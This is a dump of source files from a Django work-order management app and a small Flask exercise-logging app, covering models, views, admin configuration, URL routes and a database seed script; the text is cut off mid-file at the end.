HttpResponseRedirect(f\"/order/order/{pk}/\")\n if order:\n if not WorkOrderLog.objects.filter(order=order, user=request.user).exists():\n messages.warning(request, \"您未对单据进行答复,请先提交答复\")\n return HttpResponseRedirect(f\"/order/order/{pk}\")\n order.status = 3\n order.save()\n messages.success(request, \"工单驳回成功\")\n send_mail(\n \"工单驳回提醒\",\n f\"您好,您的工单:{order.title}, 已经被驳回,请登陆系统查看驳回原因\",\n \"[email protected]\",\n [order.proposer.userprofile.email]\n )\n return HttpResponseRedirect(f\"/order/order/{pk}\")\n\n\n@login_required\ndef report(request):\n \"\"\"\n 月度统计,工单总数=未解决+已解决,计算解决率;\n 工单增长趋势,月度统计\n 工程师处理数量统计;代理商提交单据统计\n :param request:\n :return:\n \"\"\"\n work_order_list = WorkOrder.objects.all().exclude(status=0)\n unsolved_list = work_order_list.exclude(status=4).exclude(status=3)\n ended_list = work_order_list.exclude(status=1).exclude(status=2)\n\n profile_list = UserProfile.objects.filter(role=1)\n user_list = [i.user for i in profile_list]\n print(dir(user_list[0]))\n print(user_list[0].processor)\n user_process_order_info = [{\"name\": i.username, \"y\": i.workorder_set.all().count()} for i in user_list]\n data_list = []\n for user in user_list:\n if user.processor:\n data_list.append(\n {\n \"name\": user.username,\n \"y\": user.workorder_set.all().count()\n }\n )\n try:\n resolution_rate = (ended_list.count() / work_order_list.count()) * 100\n except Exception as e:\n resolution_rate = 0\n result = {\n \"order_total_count\": work_order_list.count(),\n \"unsolved_count\": unsolved_list.count(),\n \"end_count\": ended_list.count(),\n \"resolution_rate\": resolution_rate,\n \"data_list\": data_list\n }\n\n page_info = {\n \"page_header\": \"报表展示\",\n \"page_des\": \"\",\n \"user\": request.user,\n \"table_title\": \"\"\n }\n return render(request, 'report.html', locals())\n" }, { "alpha_fraction": 0.6326741576194763, "alphanum_fraction": 0.6449528336524963, "avg_line_length": 30.197580337524414, "blob_id": "8c392521688d6b72231b6849bbc126035634185b", "content_id": "bd8018e72009ab919ade45a9fea12618a3791e42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8367, "license_type": "no_license", "max_line_length": 111, "num_lines": 248, "path": "/apps/order/models.py", "repo_name": "sunyaxiong/odman", "src_encoding": "UTF-8", "text": "from hashlib import sha1\nimport random\n\nfrom django.db import models\nfrom django.contrib.auth.models import User\n\nfrom odman import settings\nfrom lib.models import BaseModel\n\n\nclass Channel(BaseModel):\n\n name = models.CharField(\"渠道商名称\", max_length=128, null=True, blank=True)\n address = models.CharField(\"地址\", max_length=256, null=True, blank=True)\n contact = models.CharField(\"联系人\", max_length=128, null=True, blank=True)\n phone = models.CharField(\"电话\", null=True, blank=True, max_length=128)\n email = models.EmailField(\"邮箱\", null=True, blank=True)\n mpn_ids = models.IntegerField(\"MPN-ID\", null=True, blank=True)\n org_ids = models.CharField(\"订阅ID\", max_length=64, null=True, blank=True)\n\n class Meta:\n verbose_name = \"渠道商\"\n verbose_name_plural = \"渠道商\"\n\n def __str__(self):\n return str(self.id)\n\n\nclass Consumer(BaseModel):\n \"\"\"\n 客户信息表\n 注意: 客户不是系统内账户\n \"\"\"\n com_name = models.CharField(\"公司名称\", max_length=128, null=True, blank=True)\n email = models.EmailField(\"联系邮箱\", null=True, blank=True)\n phone = models.IntegerField(\"联系电话\", null=True, blank=True)\n channel = models.ForeignKey(\n Channel, verbose_name=\"代理商\", on_delete=models.DO_NOTHING, db_constraint=False, null=True, blank=True\n )\n contact = models.CharField(\"联系人\", max_length=128, null=True, blank=True)\n is_consumer = models.BooleanField(\"是否客户\", null=True, blank=True)\n\n class Meta:\n verbose_name = \"客户\"\n verbose_name_plural = \"客户\"\n\n def __str__(self):\n return self.contact\n\n\nROLE_CHOICE = (\n (0, \"管理员\"),\n (1, \"支持人员\"),\n (2, \"普通用户\"),\n)\n\n\nclass UserProfile(BaseModel):\n\n user = models.OneToOneField(\n User, verbose_name=\"用户名\", on_delete=models.DO_NOTHING, db_constraint=False\n )\n cn_name = models.CharField(\"中文姓名\", max_length=128, null=True, blank=True)\n job_title = models.CharField(\"岗位\", max_length=128, null=True, blank=True)\n phone = models.IntegerField(\"电话\", null=True, blank=True)\n email = models.EmailField(\"邮箱\", null=True, blank=True)\n com_name = models.CharField(\"公司名称\", max_length=128, null=True, blank=True)\n channel = models.ForeignKey(\n Channel, verbose_name=\"渠道\", on_delete=models.DO_NOTHING, db_constraint=False, null=True, blank=True\n )\n role = models.IntegerField(\n \"角色\", null=True, blank=True, choices=ROLE_CHOICE, help_text=\"系统用来判断权限\", default=2\n )\n\n class Meta:\n verbose_name = \"用户配置文件\"\n verbose_name_plural = \"用户配置文件\"\n\n def __str__(self):\n return self.user.username\n\n\nORDER_STATUS_CHOICE = (\n (0, \"草稿\"),\n (1, \"已提交\"),\n (2, \"处理中\"),\n (3, \"驳回\"),\n (4, \"结束\")\n)\n\nORDER_CFY_CHOICE = (\n (1, \"商务\"),\n (2, \"技术\"),\n)\n\nPRIORITY_CHOICE = (\n (0, \"普通\"),\n (1, \"中等\"),\n (2, \"高\"),\n (3, \"极高\"),\n)\n\n\nclass WorkOrder(BaseModel):\n\n channel = models.ForeignKey(Channel, verbose_name=\"渠道商\", on_delete=models.DO_NOTHING, db_constraint=False)\n number = models.CharField(\"表单号\", max_length=32, null=True, blank=True)\n title = models.CharField(\"工单标题\", max_length=128)\n classify = models.IntegerField(\n \"工单类型\", null=True, blank=True, choices=ORDER_CFY_CHOICE\n )\n content = models.TextField(\"工单正文\")\n priority = models.IntegerField(\"优先级\", default=0, choices=PRIORITY_CHOICE)\n status = models.IntegerField(\"状态\", choices=ORDER_STATUS_CHOICE, default=0)\n proposer = models.ForeignKey(\n User, verbose_name=\"申请人\", null=True, blank=True, db_constraint=False, on_delete=models.DO_NOTHING\n )\n consumer = models.ForeignKey(\n Consumer, verbose_name=\"客户\", null=True, blank=True, db_constraint=False, on_delete=models.DO_NOTHING\n )\n processor = models.ForeignKey(\n User, verbose_name=\"当前处理人\", null=True, blank=True, db_constraint=False,\n on_delete=models.DO_NOTHING, related_name=\"processor\"\n )\n take_time = models.DateTimeField(\"领取时间\", null=True, blank=True)\n actual_contact = models.CharField(\"实际联系人\", null=True, blank=True, max_length=256)\n\n class Meta:\n verbose_name = \"工单\"\n verbose_name_plural = \"工单\"\n\n def __str__(self):\n return self.title\n\n\ndef order_file_upload_to(instance, filename):\n content = instance.file.file.read()\n content_hash = sha1(content).hexdigest()\n suffix = filename.split('.')[-1]\n args = [\n 'order_files',\n '%s.%s' % (content_hash, suffix),\n ]\n return '/'.join(args)\n\n\nclass OrderAttachFile(BaseModel):\n\n title = models.CharField(max_length=32, blank=True, verbose_name=\"文件名\")\n file = models.FileField(upload_to=order_file_upload_to, blank=True, verbose_name=\"文件\")\n file_url = models.URLField(max_length=512, null=True, blank=True, verbose_name=\"文件url\")\n order = models.ForeignKey(\n WorkOrder, verbose_name=\"工单\", on_delete=models.DO_NOTHING, db_constraint=False, related_name=\"att_file\"\n )\n\n class Meta:\n verbose_name = \"工单附件\"\n verbose_name_plural = \"工单附件\"\n\n def __str__(self):\n return self.title\n\n\nORDER_POOL_STATUS = (\n (0, \"待领取\"),\n (1, \"已领取\"),\n)\n\n\nclass WorkOrderPool(BaseModel):\n\n order = models.OneToOneField(WorkOrder, on_delete=models.DO_NOTHING, db_constraint=False)\n status = models.BooleanField(\"领取状态\", default=0, choices=ORDER_POOL_STATUS)\n\n class Meta:\n verbose_name = \"工单池\"\n verbose_name_plural = \"工单池\"\n\n def __str__(self):\n return self.order.title\n\n\nclass WorkOrderLog(BaseModel):\n\n user = models.ForeignKey(User, verbose_name=\"操作人\", on_delete=models.DO_NOTHING, db_constraint=False)\n action = models.CharField(\"操作\", max_length=128, null=True, blank=True)\n field = models.CharField(\"字段\", max_length=128, null=True, blank=True)\n order = models.ForeignKey(\n WorkOrder, verbose_name=\"工单\", on_delete=models.DO_NOTHING, db_constraint=False, null=True, blank=True\n )\n content = models.TextField(\"内容\", null=True, blank=True)\n\n class Meta:\n verbose_name = \"工单日志\"\n verbose_name_plural = \"工单日志\"\n\n def __str__(self):\n return self.order.title\n\n\nclass UserAlert(BaseModel):\n pass\n\n\nclass ApplyVerifyCode(BaseModel):\n\n user = models.ForeignKey(User, verbose_name=\"申请人\", on_delete=models.DO_NOTHING, db_constraint=False)\n code = models.IntegerField(\"验证码\", help_text=\"4位随机数字\")\n status = models.BooleanField(\"是否有效\", default=1)\n\n def save(self, force_insert=False, force_update=False, using=None,\n update_fields=None):\n if not self.code:\n self.code = random.randint(1024, 9999)\n super(self.__class__, self).save()\n\n\nclass SystemConf(BaseModel):\n\n admin_mail = models.TextField(\"审核邮箱\", null=True, blank=True, help_text=\"此处邮箱接收审核邮件\")\n service_mail = models.EmailField(\n \"客服邮箱\", null=True, blank=True, help_text=\"此邮箱显示在注册失败时\"\n )\n public_mail = models.TextField(\"公共邮箱\", null=True, blank=True, help_text=\"此处邮箱接收新工单提醒\")\n\n class Meta:\n verbose_name = \"系统设置\"\n verbose_name_plural = \"系统设置\"\n\n def __str__(self):\n return \"配置详情\"\n\n\n# class SMTPConf(BaseModel):\n#\n# smtp_host = models.CharField(\"EMAIL_HOST\", null=True, blank=True, max_length=128)\n# smtp_port = models.IntegerField(\"EMAIL_PORT\", null=True, blank=True, default=25)\n# smtp_user = models.CharField(\"EMAIL_HOST_USER\", null=True, blank=True, max_length=128)\n# smtp_pass = models.CharField(\"EMAIL_HOST_PASSWORD\", null=True, blank=True, max_length=128)\n# smtp_prefix = models.CharField(\"EMAIL_SUBJECT_PREFIX\", null=True, blank=True, max_length=128)\n# smtp_tls = models.BooleanField(\"EMAIL_USE_TLS\", null=True, blank=True, default=True)\n#\n# class Meta:\n# verbose_name = \"SMTP配置\"\n# verbose_name_plural = \"SMTP配置\"\n#\n# def __str__(self):\n# return \"SMTP配置\"\n" }, { "alpha_fraction": 0.6384891867637634, "alphanum_fraction": 0.6420863270759583, "avg_line_length": 29.46575355529785, "blob_id": "ecae684b13bd65201b58e2068dd3851d15b56c10", "content_id": "51787d63a230a3c37fb079cf11c8590513151c1a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2242, "license_type": "no_license", "max_line_length": 97, "num_lines": 73, "path": "/lib/models.py", "repo_name": "sunyaxiong/odman", "src_encoding": "UTF-8", "text": "from hashlib import sha1\n\nfrom django.db import models\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom odman import settings\n\n\nclass BaseQuerySet(models.query.QuerySet):\n def delete(self):\n '''\n Update is_delete field to True.\n '''\n fields = (f.name for f in self.model._meta.fields)\n if 'is_deleted' in fields:\n return self.update(is_deleted=True)\n else:\n super(BaseQuerySet, self).delete()\n\n\nclass BaseManager(models.manager.Manager.from_queryset(BaseQuerySet)):\n def get_queryset(self):\n queryset = super(BaseManager, self).get_queryset()\n fields = (f.name for f in self.model._meta.fields)\n if 'is_deleted' in fields:\n queryset = queryset.filter(is_deleted=False)\n return queryset\n\n\nclass BaseModel(models.Model):\n is_deleted = models.BooleanField(default=False, editable=False, verbose_name=_('is deleted'))\n dt_created = models.DateTimeField(auto_now_add=True, verbose_name=_('created datetime'))\n dt_updated = models.DateTimeField(auto_now=True, verbose_name=_('updated datetime'))\n\n objects = BaseManager()\n\n class Meta:\n abstract = True\n\n def delete(self):\n self.is_deleted = True\n self.save()\n\n def __str__(self):\n return str(self.id)\n\n\ndef file_upload_to(instance, filename):\n content = instance.file.file.read()\n content_hash = sha1(content).hexdigest()\n suffix = filename.split('.')[-1]\n args = [\n settings.MEDIA_ROOT,\n 'attache',\n '%s.%s' % (content_hash, suffix),\n ]\n return '/'.join(args)\n\n\nclass BaseFile(models.Model):\n title = models.CharField(max_length=32, blank=True, verbose_name=\"文件名\")\n file = models.FileField(upload_to=file_upload_to, blank=True, verbose_name=_('file'))\n file_url = models.URLField(max_length=512, null=True, blank=True, verbose_name=\"文件url\")\n is_deleted = models.BooleanField(default=False, verbose_name=\"删除标志\")\n dt_created = models.DateTimeField(auto_now_add=True)\n dt_updated = models.DateTimeField(auto_now=True)\n\n class Meta:\n abstract = True\n\n def delete(self):\n self.is_deleted = True\n self.save()\n" }, { "alpha_fraction": 0.6995359659194946, "alphanum_fraction": 0.7001160383224487, "avg_line_length": 24.352941513061523, "blob_id": "184039d74326022c3634bdc0bf111f532a1b3404", "content_id": "32d35d483a60df9e33e6a983015aa1fefa36f7b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1724, "license_type": "no_license", "max_line_length": 97, "num_lines": 68, "path": "/apps/order/admin.py", "repo_name": "sunyaxiong/odman", "src_encoding": "UTF-8", "text": "import datetime\n\nfrom django.contrib import admin\n\nfrom .models import Channel\nfrom .models import Consumer\nfrom .models import UserProfile\nfrom .models import WorkOrder\nfrom .models import OrderAttachFile\nfrom .models import WorkOrderPool\nfrom .models import WorkOrderLog\nfrom .models import SystemConf\n\n\[email protected](Channel)\nclass ChannelAdmin(admin.ModelAdmin):\n\n list_display = (\"name\", \"address\", \"phone\", \"email\", \"mpn_ids\", \"org_ids\")\n list_filter = (\"mpn_ids\", )\n search_fields = (\"mpn_ids\", \"phone\", \"email\", \"name\", \"org_ids\")\n\n\[email protected](Consumer)\nclass ConsumerAdmin(admin.ModelAdmin):\n pass\n\n\[email protected](UserProfile)\nclass UserProfileAdmin(admin.ModelAdmin):\n list_display = (\"user\", \"cn_name\", \"role\")\n\n\[email protected](WorkOrder)\nclass WorkOrderAdmin(admin.ModelAdmin):\n list_display = (\"title\", \"number\", \"classify\", \"priority\", \"status\", \"proposer\", \"processor\")\n\n def save_model(self, request, obj, form, change):\n if not obj.number:\n _number = str(obj.id).zfill(5)\n _timestamp = datetime.datetime.now().strftime(\"%y%m%d\")\n obj.number = f\"GD{_timestamp}{_number}\"\n obj.save()\n\n\[email protected](OrderAttachFile)\nclass OrderAttachFileAdmin(admin.ModelAdmin):\n list_display = (\"title\", \"file\", \"file_url\", \"order\")\n\n\[email protected](WorkOrderPool)\nclass WorkOrderPoolAdmin(admin.ModelAdmin):\n\n list_display = (\"order\", \"status\")\n\n\[email protected](WorkOrderLog)\nclass WorkOrderLogAdmin(admin.ModelAdmin):\n pass\n\n\[email protected](SystemConf)\nclass SystemConfAdmin(admin.ModelAdmin):\n list_display = [\"admin_mail\", \"service_mail\"]\n\n\n# @admin.register(SMTPConf)\n# class SMTPConfAdmin(admin.ModelAdmin):\n# pass\n" }, { "alpha_fraction": 0.6703600883483887, "alphanum_fraction": 0.6759002804756165, "avg_line_length": 39.11111068725586, "blob_id": "3cc417a0bdd7cea81634d3e627977eeeff851356", "content_id": "d46d29d3d3bb21879cfb9e51c35bbea77de6843e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1444, "license_type": "no_license", "max_line_length": 77, "num_lines": 36, "path": "/apps/order/urls.py", "repo_name": "sunyaxiong/odman", "src_encoding": "UTF-8", "text": "\"\"\"odman URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom . import views\n\nurlpatterns = [\n path('channels/', views.channel_list),\n path('orders/', views.order_list),\n path('order/<int:pk>/', views.order_detail),\n path('order/<int:pk>/update/', views.order_update),\n path('order/<int:pk>/end/', views.end_order),\n path('order/<int:pk>/reject/', views.reject_order),\n path('order/<int:order_pk>/pass_to/', views.pass_order),\n\n path('order_pool/', views.order_pool_list),\n path('order_pool/<int:pk>/take/', views.order_pool_take),\n path('create/', views.order_create),\n path('import_channel/', views.import_channel),\n path('channel/<int:pk>/', views.channel_detail),\n path('channel/<int:pk>/update/', views.channel_update),\n path('report/', views.report),\n]\n" }, { "alpha_fraction": 0.6296958923339844, "alphanum_fraction": 0.6350626349449158, "avg_line_length": 33.875, "blob_id": "24600d3cd67b22abe0ec1a07021d53092458bc8d", "content_id": "09190a2c753ae9db6ed37513bf0545614bcca626", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 559, "license_type": "no_license", "max_line_length": 79, "num_lines": 16, "path": "/lib/http.py", "repo_name": "sunyaxiong/odman", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nfrom django.http import JsonResponse\n\n\nclass ResultResponse(JsonResponse):\n def __init__(self, result, data='', msg='', safe=True, status=200):\n '''\n Result represent the error code, while bad things happend,\n and the data gives a blank string default.\n\n Using JsonResponse to make sure the `Content-Type` header\n is set to 'application/json'.\n '''\n\n content = {'code': result, 'data': data, 'msg': msg}\n super(ResultResponse, self).__init__(content, status=status, safe=safe)\n\n" }, { "alpha_fraction": 0.46875, "alphanum_fraction": 0.6875, "avg_line_length": 15.125, "blob_id": "86863bd926d74bb3108a96934766be4ea3245818", "content_id": "6c3cc5e13ad7dbe1163c8491fa5c57568edeed6c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 128, "license_type": "no_license", "max_line_length": 21, "num_lines": 8, "path": "/requirements.txt", "repo_name": "sunyaxiong/odman", "src_encoding": "UTF-8", "text": "Django==2.1.5\ndjango-suit==0.2.28\npytz==2019.1\nxlrd==1.2.0\nxlwt==1.3.0\ngunicorn==19.9.0\ndjango-crontab==0.7.1\nmysqlclient==1.4.4" }, { "alpha_fraction": 0.5625, "alphanum_fraction": 0.5703125, "avg_line_length": 27.55555534362793, "blob_id": "5ed80acb6b60b184f658b47b77161661886e0e0b", "content_id": "3d3aab7005fb7ac5d864b63a964a2bde2bcb790b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 262, "license_type": "no_license", "max_line_length": 90, "num_lines": 9, "path": "/templates/messsages.html", "repo_name": "sunyaxiong/odman", "src_encoding": "UTF-8", "text": "{% if messages %}\n {% for message in messages %}\n <div class=\"callout callout-info\">\n <h4>注意:</h4>\n {{ message }}\n {# <a href=\"http://getbootstrap.com/javascript/#modals\">Bootstrap documentation</a>#}\n </div>\n {% endfor %}\n{% endif %}" }, { "alpha_fraction": 0.8333333134651184, "alphanum_fraction": 0.8333333134651184, "avg_line_length": 23, "blob_id": "43fbca7a85d34f480429bf6ba3fa130e43028593", "content_id": "a3d563d9e7ea6ddd3f9548b8bedabfbaf29dfabb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 48, "license_type": "no_license", "max_line_length": 39, "num_lines": 2, "path": "/README.md", "repo_name": "sunyaxiong/odman", "src_encoding": "UTF-8", "text": "# odman\nWorkOrderManagement for Azure in jiajie\n" } ]
15
abhishekchak52/boom
https://github.com/abhishekchak52/boom
3fe34a13cb012bc35c02b8b373914e0044abadbc
35f9eb593ffaa900549076cc280f6bd18d3ad748
d1f98250af250bbc7e06009def6502d345bd1e89
refs/heads/master
2022-01-25T17:07:51.261745
2019-06-16T20:15:36
2019-06-16T20:15:36
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6726943850517273, "alphanum_fraction": 0.6726943850517273, "avg_line_length": 20.269229888916016, "blob_id": "117dec6c7810c450f5c061e6abab7d408aae39b9", "content_id": "6378aaa78fea882fa63092ada77b409e0b6dd860", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 553, "license_type": "permissive", "max_line_length": 55, "num_lines": 26, "path": "/step1/boom.py", "repo_name": "abhishekchak52/boom", "src_encoding": "UTF-8", "text": "# FILE INFECTED\nimport os \nimport glob\n\n\nfilenames = glob.glob('*.py')\n\nfor filename in filenames:\n\twith open(filename,'r') as script:\n\t\n\t\t# Write to a new file, instead of reading the whole \n\t\t# file into memory, to avoid issues with large files\n\t\t\n\t\twith open(f'{filename}.infected','w') as infected: \n\t\t\n\t\t\tinfection = '# FILE INFECTED\\n'\n\t\t\t\n\t\t\tinfected.write(infection)\n\t\t\t\n\t\t\twhile(True):\n\t\t\t\tcontent = script.readline()\n\t\t\t\tinfected.write(content)\n\t\t\t\tif not content:\n\t\t\t\t\tbreak\n\tos.remove(filename)\n\tos.rename(f'{filename}.infected', filename)\n" }, { "alpha_fraction": 0.699999988079071, "alphanum_fraction": 0.7411764860153198, "avg_line_length": 55.66666793823242, "blob_id": "2b6cfa652846b5cd50f50e2f2c7a3f0c476306d6", "content_id": "f1897f3d24d1214340c564e9a540a9ef9c848246", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 170, "license_type": "permissive", "max_line_length": 161, "num_lines": 3, "path": "/README.md", "repo_name": "abhishekchak52/boom", "src_encoding": "UTF-8", "text": "# boom\n\nAn attempt to recreate the essence of [Writing Viruses for Fun, not Profit](https://youtu.be/2Ra1CCG8Guo), a talk by Ben Dechrai at linux.conf.au 2019 _but in python_\n" } ]
2
msoma-org/pythonbasics
https://github.com/msoma-org/pythonbasics
20cb0d7e9dbf77061bf64374df8dc5481601c444
aba10ee4eb50b2a7bb947a5c728fd9c8c7df307c
399507334760765e4559d7758cd45eadb2017306
refs/heads/master
2022-01-08T05:20:55.485051
2019-06-13T07:32:30
2019-06-13T07:32:30
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7190082669258118, "alphanum_fraction": 0.7300275564193726, "avg_line_length": 16.309524536132812, "blob_id": "544134c8c49f3c181efc13a9bdbc4426c67aa6cf", "content_id": "bd7c74ab8de3dcac12987009878f2dac8add022e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 726, "license_type": "no_license", "max_line_length": 55, "num_lines": 42, "path": "/01-strings/1-concatenation-indexing-and-slicing.py", "repo_name": "msoma-org/pythonbasics", "src_encoding": "UTF-8", "text": "# 1 - Concatenation, Indexing, and Slicing\n\n# Exercise 1\n# Display the number of letters in the string\nmy_word = \"antidisestablishmentarianism\"\n\n#Solution\nprint(len(my_word))\n\n\n# Exercise 2\n# Concatenate two strings together\nstring_left = \"bat\"\nstring_right = \"man\"\n\n#Solution\nprint(string_left + string_right)\n\n\n# Exercise 3\n# Display two strings together, with a space in between\nstring_one = \"heebie\"\nstring_two = \"jeebies\"\n\n#Solution\nprint(string_one, string_two)\n\n\n# Exercise 3\n# Display two strings together, with a space in between\nstring_one = \"heebie\"\nstring_two = \"jeebies\"\n\n#Solution\nprint(string_one + \" \" + string_two)\n\n\n# Exercise 4\n# Use subscripting to display part of a string\n\n#Solution\nprint(\"bazinga\"[2:6])" } ]
1
agatanyc/exercise-log
https://github.com/agatanyc/exercise-log
4281a573a02b375a9b72261b6b8662a6110feb9e
ff429894cea101fe79bd4adf816951e2a308d3eb
ca7a56d779ab2759c9f78ffdc1701c821dc0f196
refs/heads/master
2020-09-16T06:38:47.921322
2016-10-15T19:41:07
2016-10-15T19:41:07
66,087,591
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7289915680885315, "alphanum_fraction": 0.7331932783126831, "avg_line_length": 14.354838371276855, "blob_id": "dd48723e18f705eba1cf851912bdf937fc94ebb9", "content_id": "aca450cc44c3827c00c4876123bc5b6aee3da45b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 476, "license_type": "no_license", "max_line_length": 101, "num_lines": 31, "path": "/README.md", "repo_name": "agatanyc/exercise-log", "src_encoding": "UTF-8", "text": "Flask application to track workout progess. For now it works only on `local host`. (Work in progress)\n\n## Dependencies\npython2\n\nFlask (python framework for web development)\n\nSQL (data storage)\n\nBootstrap (front-end development)\n\n## For development, to start the application run:\n\n`python server.py`\n\n## To connect to DB run:\n\npython model.py\n\n\n## To query the db from command line run:\n\n`populate_db.py`\n\n`sqlite3 workouts.db'\n\n## Deployment\n\nTBD\n\n## Tests - WORK IN PROGRESS\n" }, { "alpha_fraction": 0.5863666534423828, "alphanum_fraction": 0.6075446605682373, "avg_line_length": 24.610170364379883, "blob_id": "8ef8aa99f856a010057bd10fc6893ab4511daf59", "content_id": "52adcc921e4c65c7fd3532e28715354c674bd5a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1511, "license_type": "no_license", "max_line_length": 75, "num_lines": 59, "path": "/populate_db.py", "repo_name": "agatanyc/exercise-log", "src_encoding": "UTF-8", "text": "\"\"\"File to populate the db.\"\"\"\n\nfrom model import init_db, db, User, Exercise, UserExercise, HTTPSession\nfrom app import app\nimport sqlite3\nfrom datetime import datetime\n\ndef load_user():\n user_name = 'admin'\n password = 'password'\n current_line = User(user_name=user_name, password=password)\n db.session.add(current_line)\n db.session.commit()\n\ndef load_exercise():\n exercise_names = ['Squat', 'DL', 'Bench press', 'Seated Row', 'Pushup']\n for e in exercise_names:\n current_line = Exercise(exercise=e)\n db.session.add(current_line)\n db.session.commit()\n\ndef load_user_exercise():\n exercise_id = 1\n user_id = 1\n weight = 135\n reps = 10\n time = ''\n date = datetime.utcnow()\n\n current_line = UserExercise(exercise_id=exercise_id, user_id=user_id,\n weight=weight, reps=reps, time=time,\n date=date)\n db.session.add(current_line)\n db.session.commit()\n\ndef load_session():\n session_id = 1\n session_cookie = '14958e74-ce37-4b3b-80a8-e0687e4b6d70'\n user_id = 1\n current_line = HTTPSession(session_id=session_id,\n session_cookie=session_cookie, user_id=user_id)\n db.session.add(current_line)\n db.session.commit()\n\n\nif __name__ == \"__main__\":\n\n # start fresh\n db.session.remove()\n db.drop_all()\n\n # populate db\n init_db(app)\n db.create_all()\n\n load_user()\n load_exercise()\n load_user_exercise()\n load_session()\n" }, { "alpha_fraction": 0.7185184955596924, "alphanum_fraction": 0.7185184955596924, "avg_line_length": 26, "blob_id": "6d6fc6c2617b8de2efd8959c67185a489a175000", "content_id": "6917d3265181341bc729f8d19181cbfc355853c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 135, "license_type": "no_license", "max_line_length": 63, "num_lines": 5, "path": "/app.py", "repo_name": "agatanyc/exercise-log", "src_encoding": "UTF-8", "text": "from flask import Flask\n\n# create the aplication\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///workouts.db'\n" }, { "alpha_fraction": 0.5695132613182068, "alphanum_fraction": 0.572136402130127, "avg_line_length": 36.90607833862305, "blob_id": "21e61dfbc515e4ef3a6264b7028cc00bd82779bf", "content_id": "8ed79b83fafd9f34856e7fa2592f28b05555758b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6862, "license_type": "no_license", "max_line_length": 113, "num_lines": 181, "path": "/server.py", "repo_name": "agatanyc/exercise-log", "src_encoding": "UTF-8", "text": "\"\"\"Main module of an aplication for loging exercises.\"\"\"\n\nfrom flask import Flask, render_template, request, make_response, redirect, \\\n url_for\nfrom flask_sqlalchemy import SQLAlchemy\nfrom uuid import uuid4\nfrom datetime import date\n\nfrom app import app\nfrom model import User, Exercise, UserExercise, HTTPSession, init_db, db\n\ninit_db(app)\n\[email protected]('/')\ndef index():\n if logged_in():\n return redirect(url_for('entry'))\n else:\n return redirect(url_for('login'))\n\[email protected]('/login', methods=['GET','POST'])\ndef login():\n if request.method == 'POST':\n resp = redirect(url_for('entry'))\n UUID = uuid4()\n resp.set_cookie('session_id', str(UUID))\n \n user_name = request.form['username']\n password = request.form['password']\n users = db.session.query(User).filter(User.user_name==user_name,\n User.password==password)\n for user in users:\n user_id = user.user_id\n new_row = HTTPSession(session_cookie=str(UUID), user_id=user_id)\n db.session.add(new_row)\n db.session.commit()\n return resp\n return \"Invalid username and/or password\"\n else:\n return render_template('login.html')\n\[email protected]('/logout')\ndef logout():\n # remove the user_id and cookie from the session\n db.session.query(HTTPSession).filter(HTTPSession.session_cookie ==\n request.cookies.get('session_id')).delete()\n db.session.commit()\n return redirect(url_for('index'))\n\[email protected]('/entry', methods=['GET','POST'])\ndef entry():\n # if the the method is GET - return webpage with a 'form' \n # to enter a workout data\n # if POST process the data from the 'form', save to the DB and give\n # feedback to the user\n # return render_template('entry.html')\n if request.method == 'POST':\n if logged_in():\n user_id = logged_in()\n exercise_id = request.form['exercise_id']\n weight = request.form['weight']\n reps = request.form['reps']\n time = request.form['time']\n year, month, day = request.form['date'].split('-') #e.g.['2016', '09', '11']\n d = date(int(year), int(month), int(day)) \n new_row = UserExercise(exercise_id=exercise_id, user_id=user_id,\n weight=weight, reps=reps, time=time,\n date=d)\n db.session.add(new_row)\n db.session.commit()\n return redirect(url_for('index'))\n else:\n return redirect(url_for('login'))\n else:\n if logged_in():\n rows = db.session.query(Exercise).all()\n exercises = {}\n for row in rows: #TODO move it to a function\n exercise_name = row.exercise\n exercise_id = row.exercise_id\n exercises[exercise_id] = exercise_name\n return render_template('entry.html', exercises=exercises)\n else:\n return redirect(url_for('login'))\n\[email protected]('/edit', methods=['GET','POST'])\ndef edit_history():\n if request.method == 'GET':\n if logged_in():\n query_string = request.args.to_dict()\n user_exercise_id = query_string['id']\n # rows is a list of UserExercise instances\n # (in this case it will be list of one instance)\n user_exercise_rows = db.session.query(UserExercise).filter(\n UserExercise.user_exercise_id == user_exercise_id).all() \n for workout in user_exercise_rows:\n pass\n\n exercise_rows = db.session.query(Exercise).all()\n exercises = {}\n for row in exercise_rows:\n exercise_name = row.exercise\n exercise_id = row.exercise_id\n # exercises is a dict passed to the html file \n exercises[exercise_id] = exercise_name\n #TODO move it to a function\n return render_template('edit.html', workout=workout,\n 